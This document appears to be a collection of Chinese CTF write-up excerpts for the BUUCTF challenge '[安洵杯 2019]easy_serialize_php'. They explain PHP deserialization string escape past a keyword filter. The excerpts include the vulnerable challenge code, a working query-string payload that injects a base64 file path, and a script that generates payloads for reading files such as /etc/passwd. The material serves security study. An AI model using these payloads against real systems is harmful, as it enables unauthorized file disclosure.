BUUCTF[安洵杯 2019]easy_serialize_php 1 考点: 反序列化逃逸 进入靶场 代码审计 <?php$function= @$_GET['f'];functionfilter($img){$filter_arr=array('php','flag','php5','php4','fl1g');$filter= '/'.implode('|',$filter_arr).'/i';returnpreg_replace($filter,'',$img); }#filter...
由此可得session值可以控制,(比如后面要控制的 $_SESSION["img"]="payload" ) 三、由下图可得: 序列化 $_SESSION =》filter过滤函数 =》反序列化 =》base64解密文件名(例子:$username['img']="base64加密后的d0g3_f1ag.php") 综上所述:需要先对 d0g3_f1ag.php 加密,然后赋值给 $_SESSION['img']...
$s=serialize($str); print($s); //a:3:{s:4:"a123";s:16:"flagflagflagflag";s:1:"a";s:40:"";s:1:"c";s:2:"12";s:1:"t";s:3:"125";}as";s:1:"b";s:3:"456";} echo "\n"; $s1=preg_replace("/flag/","",$s); //a:3:{s:4:"a123";s:16:"";s:1:"a...
由此可以推测出,payload:_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"hacker";s:4:"hack";} 4个flag加上1个php,共23位被过滤,结果就是";s:8:"function";s:59:"被当做了user的值,而构造出来的";s:3:"img";s:20:"ZDBnM19mM...
echoserialize([1]);a:1:{i:0;i:1;} 因为我们覆盖了一个键值对,所以我们需要补充回去,遇到}时就停止检测了,即使后面还有字符串 这里写了个脚本,使用php 脚本.php即可执行 <?php$e="/etc/passwd";# 这里填写需要读取的文件$e=base64_encode($e);echo'_SESSION[a]=phpflagflagflagflagflagflagflagflag...
[安洵杯 2019]easy_serialize_php 1 WP这道题目考察的主要是序列化与反序列化过程中,对象逃逸的一个漏洞。 说是对象逃逸,我觉得可能叫对象注入比较形象。首先题目上来可以看到源码<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g')...
[安洵杯 2019]easy_serialize_php 1 首先打开靶机,只有一个链接没有其他东西 目录爆破没有爆破出来东西,打开链接,发现给出了网站源码 Copy<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$...
}elseif($function== 'phpinfo'){//ta没骗人,确实能找到一些东西eval('phpinfo();');//maybe you can find something in here!}elseif($function== 'show_image'){$userinfo=unserialize($serialize_info);echofile_get_contents(base64_decode($userinfo['img']));//这里只进行了一次base64解码。
最后有一段代码如果function为show_image的话,那么就会对变量serialize_info进行反序列化,接着就会打开base64解码的的变量img文件 因为,过滤器会把flag、php这些关键词都转换为空,那么就会实现字符串逃逸,通过字符串逃逸,并且再通过变量覆盖的操作,可以让变量img的内容为我们自己想打开的文件路径的base64编码字符串 ...
试题地址:https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php 这篇主要知识点: 锻炼php代码审计能力和学习 php反序列化 反序列化中的对象逃逸(这个是真的自己对着php在线工具分析了很久,才弄懂。你看完肯定有所收获) 首先明确几个点: 序列化后的结果是一串字符串 ...